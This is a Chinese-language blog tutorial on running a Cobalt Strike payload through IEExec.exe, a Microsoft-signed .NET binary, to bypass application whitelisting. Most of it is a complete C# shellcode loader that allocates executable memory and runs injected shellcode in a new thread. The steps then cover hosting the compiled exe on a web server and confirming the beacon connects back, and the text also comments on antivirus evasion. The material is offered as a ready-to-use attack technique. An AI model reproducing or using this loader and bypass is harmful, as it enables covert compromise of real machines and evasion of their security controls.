當你的才華
還撐不起你的野心時
那你就應該靜下心來學習
目錄
0x01 IEexec.exe介紹
IEexec.exe應用程序是.NET Framework附帶程序,存在於多個系統白名單內。可以將IEExec.exe應用程序用作主機,以運行使用URL啓動的其他託管應用程序。
IEexe.exe在64位系統路徑爲:C:\Windows\Microsoft.NET\Framework64\v2.0.50727
0x02 IEExec.exe執行payload
我們先使用CS生成監聽上線的C#payload(注意我們要生成64位的shellcode)。
然後將我們使用VS創建一個C#控制檯程序。
編寫如下代碼(namespace別忘記修改爲自己的),然後將CS生成的payload填寫到下面代碼的數組中。
using System;
using System.Runtime.InteropServices;
namespace testIEexec
{
class Program
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static UInt32 MEM_RELEASE = 0x8000;
public static void Main(string[] args)
{
// 替換下面數組中的內容
byte[] proc = new byte[894] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00,............. };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)proc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(proc, 0, (IntPtr)(funcAddr), proc.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
PROCESSOR_INFO info = new PROCESSOR_INFO();
IntPtr pinfo = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(PROCESSOR_INFO)));
Marshal.StructureToPtr(info, pinfo, false);
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
// retrive data
info = (PROCESSOR_INFO)Marshal.PtrToStructure(pinfo, typeof(PROCESSOR_INFO));
Marshal.FreeHGlobal(pinfo);
CloseHandle(hThread);
VirtualFree((IntPtr)funcAddr, 0, MEM_RELEASE);
}
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32")]
private static extern IntPtr GetModuleHandle(string moduleName);
[DllImport("kernel32")]
private static extern UInt32 GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
private static extern UInt32 LoadLibrary(string lpFileName);
[DllImport("kernel32")]
private static extern UInt32 GetLastError();
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESSOR_INFO
{
public UInt32 dwMax;
public UInt32 id0;
public UInt32 id1;
public UInt32 id2;
public UInt32 dwStandard;
public UInt32 dwFeature;
// if AMD
public UInt32 dwExt;
}
}
}
編譯生成exe,然後部署到我們的web服務器上,例如我這裏使用的是phpstudy。
使用管理員身份打開cmd,分別運行下面兩條命令。
這裏的文件路徑自己替換爲自己部署的exe的路徑即可。
可發現CS已成功上線,程序成功執行,執行程序的pid爲17116。
系統任務管理器中pid 爲17116的程序名稱。
雖然此方法的免殺率不是特別的高,但是在很多情況下,即使主機處於僅受信任的應用程序可以運行的模式下,IEexex.exe在某些情況下也可以繞過白名單,因爲它可能是受信任的二進制文件,並帶有Microsoft簽名。
參考鏈接:
《Application Whitelist Bypass using IEexec.exe》:https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/
雖然我們生活在陰溝裏,但依然有人仰望星空!